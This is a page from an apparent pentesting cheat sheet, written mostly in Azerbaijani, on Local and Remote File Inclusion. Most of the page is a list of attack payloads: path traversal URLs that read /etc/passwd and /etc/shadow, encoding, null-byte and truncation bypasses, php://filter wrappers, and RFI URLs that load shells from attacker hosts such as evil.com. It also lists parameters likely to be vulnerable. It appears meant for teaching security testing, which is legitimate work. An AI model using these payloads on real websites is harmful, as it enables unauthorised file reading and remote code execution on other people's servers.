Pentest və SOC Cheat Sheet
  • Reconnaissance
  • Post-Explotation
    • Linux Post-Explotation
      • Linux Local Enumeration
      • Linux Privilege Escalation
      • Dumping and cracking hashes on Linux
      • Linux Persistence
    • Windows Post-Explotation
      • Windows Local Enumeration
      • Windows Privilege Escalation
      • Windows Persistence
  • Network Services Pentesting
    • 21-Pentesting FTP
    • 22-Pentesting SSH
    • 23-Pentesting Telnet
    • 53-Pentesting DNS
    • 25,465,587-Pentesting SMTP
    • 110,995-Pentesting POP
    • 139,445-Pentesting SMB
    • 3306-Pentesting MySQL
    • 3389-Pentesting RDP
    • 1433-Pentesting MSSQL-Microsoft SQL Server
    • 389,636,3268,3269-Pentesting LDAP
  • Web Pentesting
    • Broken Access Control
      • Praktiki nümunə
    • OS Command Injection
      • Praktiki nümunə
    • SQL Injection
      • Praktiki nümunə
    • Cross-Site-Scripting (XSS)
      • Praktiki nümunə
    • File Upload
      • Praktiki nümunə
    • Directory Traversal və Path Traversal
      • Praktiki nümunə
    • CSRF
    • XXE
    • Clickjacking
      • Praktiki nümunə
    • SSRF
      • Praktiki nümunə
    • JWT (Json Web Token)
      • Praktiki nümunə
    • Local&Remote File İnclusion
      • Praktiki nümunə
      • Local File inclusion ilə reverse shell almaq
    • 401&403 Bypass
    • Login Bypass
    • Open Redirect
    • Unicode Injection
    • Security Misconfiguration
    • CRLF injection
    • LDAP Injection
    • Cookies Hacking
    • Cross site WebSocket hijacking (CSWSH)
    • SSTI (Server Side Template Injection)
    • CSTI (Client Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Hücumları
    • Reverse Tab Nabbing
    • Web Tool - WFuzz
    • XPATH enjeksiyonu
    • Server-Side Includes (SSI) Injection
    • Edge Side Inclusion Injection (ESII)
    • Race Condition
    • PostMessage
    • Parameter Pollution
    • Cache Poisoning and Cache Deception
    • Captcha Bypass
  • AD Pentesting
    • Domain Enumeration
      • PowerView ilə enumeration
      • AD Module ilə enumeration
      • BloodHound ilə enumeration
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
      • UAC Bypass
    • Lateral Movement
      • Powershell Remoting
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS (ADIDNS) poisoning
      • Abusing Backup Operators Group
      • SID History Abuse
      • Active Directory Certificate Services
    • Domain Persistence
      • Golden Ticket Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • DCsync Attack
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts
  • SOC - Cheat Sheet
    • SOC Nədir?
    • SOC Komponentləri Nələrdir?
    • SOC Checklist
    • SIEM
      • Splunk Qurulması və Konfiqurasiyası
    • IDS/IPS
    • Firewall
    • Firewall qurulması və konfiqurasiyası
    • EDR/XDR
    • SOAR
    • Windows Commands for SOC analysts
      • GUI Programs in Windows
      • Event Viewer
      • Task Scheduler
      • Group Policy Editor
      • Device Manager
      • Task Manager
      • Registry Manager
    • Linux Commands for SOC analysts
    • LOLBAS Apps and Commands
      • Apps and Commands
Powered by GitBook
On this page
  • LFl
  • RFI
  • Linux sistemlərində LFl üçün .txt faylı
  • Windows sistemlərində LFI üçün .txt faylı
  • Basic LFI and bypasses
  • Traversal sequences stripped non-recursively
  • Null byte (%00)
  • Encoding
  • From existent folder
  • Identifying folders on a server
  • Path truncation
  • Filter bypass tricks
  • Remote File Inclusion Bypass
  • Basic RFI (null byte, double encoding and other tricks) :
  • LFI / RFI Wrappers :.
  • Bypass ../ removal
  • Bypass ../ replaced with ;
  • Bypass http(s):// removal
  • Top 25 parameters
  • Nəticə

Was this helpful?

  1. Web Pentesting

Local&Remote File İnclusion

LFl

İlk once Local File İnclusiondan başlayaq. Əgər biz ve yaxud da başqa bir istifadəçi web səhifənin URL hissəsində müəyyən dəyişikliklər edərək sistemdə olan faylları oxuya ve ya gore bilirse bu LFİ adlanır. Bunu daha çox yerinə yetirmək üçün linux əmrlərindən istifadə edilir.

Məsələn:

http://sinaqsayti.com/sonmehsuleshya?item=20

Istifadəçi bu URL üzərindən LFİ həyata keçirə bilər.

http://sinaqsayti.com/sonmehsuleshya?item=../../../../../../etc/shadow

"cd .." bildiyimiz kimi linux da bir direktoriya əvvələ qayıtmaq üçün istifadə olunur. Və burda 4-5 dəfə istifadə olunmaqda məqsəd "root" direktoriyasına gedib çatmaqdır. Əsas lazımlı faylların həmin yerdə saxlanıldığı bizə tanışdır.

RFI

Fayl uzaq serverdən yüklənir (Yəni: Siz kodu yazırsınız və server onu yerinə yetirəcək). php-də bu defolt olaraq qeyri-aktivdir (allow_url_include). RFİ-a yenidən həmin URL üzərindən nümunə verək. Bu zaman isə biz uzaqda olan bir faylı sistemdə açdıqda meydana gəlir.

Məsələn:

http://sinaqsayti.com/sonmehsuleshya?item=20

Bu zaman biz bu sistemdə http://badactor.com/harm.txt faylını açmağa çalışacayıq. 20-nin yerinə bizim istədiymiz bir link yerləşdirək. Həmin fayl açılırsa demək ki burada Remote File İnclusion açığı var. Bu qarşı tərəfin serverini ələ keçirmək üçün əla imkan verir.

Zəiflik o zaman baş verir ki, istifadəçi hansısa şəkildə server tərəfindən yüklənəcək faylı idarə edə bilsin. Ona görə də bu cür açıqlar tez tapılmalı və patch edilməlidirlər. Həmçinin düzgün konfigurasiyalarda bir o qədər önəmlidir.

Linux sistemlərində LFl üçün .txt faylı

Windows sistemlərində LFI üçün .txt faylı

Basic LFI and bypasses

Bütün nümunələr Local Fayl İnclusion üçündür, lakin Remote File İnclusion üçün də tətbiq oluna bilər.

http://example.com/index.php?page=../../../etc/passwd

Traversal sequences stripped non-recursively

http://millisec.org/index.php?page=....//....//....//etc/passwd
http://millisec.org/index.php?page=....\/....\/....\/etc/passwd
http://millisec.org/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Təqdim olunan sətirin sonunda daha çox simvol əlavə edin ($_GET['param']."php" keçidindən keçin)

http://example.com/index.php?page=../../../etc/passwd%00

Bu, PHP 5.4-dən sonrakı versiyalarda PATCH olunub.

Encoding

İkiqat URL kodlaması (və digərləri) kimi qeyri-standart kodlaşdırmalardan istifadə edə bilərsiniz:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

From existent folder

Ola bilər ki back-end qovluğun yolunu yoxlayır:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Identifying folders on a server

Tətbiq olunan koddan / icazə verilən simvollardan asılı olaraq, yalnız faylları deyil, qovluqları da kəşf etməklə fayl sistemini hərtərəfli şəkildə araşdırmaq mümkün ola bilər. Bunu etmək üçün:

Sistem daxilində harada olduğunu təxmin etməyə çalış. Məsələn biz /etc/passwd faylını uğurla əldə etməklə cari qovluğunuzun "dərinliyini" müəyyən edə bilərik (əgər Linux sistemi üçün ediriksə):

http://example.com/index.php?page=../../../etc/passwd # depth of 3

Qovluğun adını əlavə edərək (məsələn private) və sonra /etc/passwd-ə qayıdaraq cari qovluqdakı qovluğun adını təxmin etməyə çalışın:

http://example.com/index.php?page=private/../../../../etc/passwd # bir qovluq daha dərinə getdik, ona görə də /etc/passw-a qayıtmaq üçün 3+1=4 qovluq yuxarı getməliyik.

Tətbiq həssasdırsa, sorğunun iki fərqli nəticəsi ola bilər:

  1. Error ala bilərsiniz ki belə bir qovluq yoxdursa, private qovluq bu yerdə mövcud deyil.

  2. /etc/passwd faylının məzmununu alsanız, cari kataloqunuzda həqiqətən private qovluğun olduğunu öyrəndiniz.

Path truncation

Təqdim olunan sətirin sonunda daha çox simvollar əlavə edin. Bu bəzi qadağaları bypass edə bilər. (bypass: $_GET['param']."php")

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Son 6 simvolun passwd olub olmadığını yoxlanılırsa --> passwd/
Son 4 simvolun ".php" olub olmadığını yoxlanılırsa  --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#Növbəti bypass-larda sınaq və səhv yolu ilə siz əlavə edilmiş sətri silmək üçün nə qədər "../" lazım olduğunu öyrənməlisiniz.

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Həmişə yolu fake kataloq (a/) ilə başlamağa çalışın.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion Bypass

Php-də bu defolt olaraq qeyri-aktivdir, çünki allow_url_include off-dur. Onun işləməsi üçün Aktiv olmalıdır və bu halda siz serverinizdən PHP faylını daxil edib RCE (Remote Code Execution) əldə edə bilərsiniz:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Basic RFI (null byte, double encoding and other tricks) :

http://example.com/index.php?page=http://evil.com/shell.txt
http://example.com/index.php?page=http://evil.com/shell.txt%00
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt

LFI / RFI Wrappers :.

http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

Bypass ../ removal

..././
...\.\

Bypass ../ replaced with ;

..;/
http://example.com/page.jsp?include=..;/..;/test.txt

Bypass http(s):// removal

hhttp://thttp://thttp://phttp://:http://http:///http:///
hhttps://thttps://thttps://phttps://shttps://:https:///https:///https://

Top 25 parameters

Burada Local File İnclusion (LFI) zəifliklərinə qarşı həssas ola biləcək ən yaxşı 25 parametrin siyahısı göstərilib.

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

Nəticə

Fayl daxiletmə zəifliyi istifadəçi girişdə fayl yolunu idarə edə bildikdə baş verir

Veb saytın LFI-yə qarşı həssas olub-olmadığını tapmaq üçün həmişə kataloqu dəyişməyə cəhd edin.

Fərqli fayllara daxil olmağa çalışın və uyğun olaraq hansı parametri dəyişə biləcəyinizi görün.

'Bir noob ilə haker arasındakı fərq, bir hakerin heç vaxt cəhd etmədiyindən daha çox uğursuz olmasıdır.

PreviousPraktiki nümunəNextPraktiki nümunə

Last updated 1 year ago

Was this helpful?

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt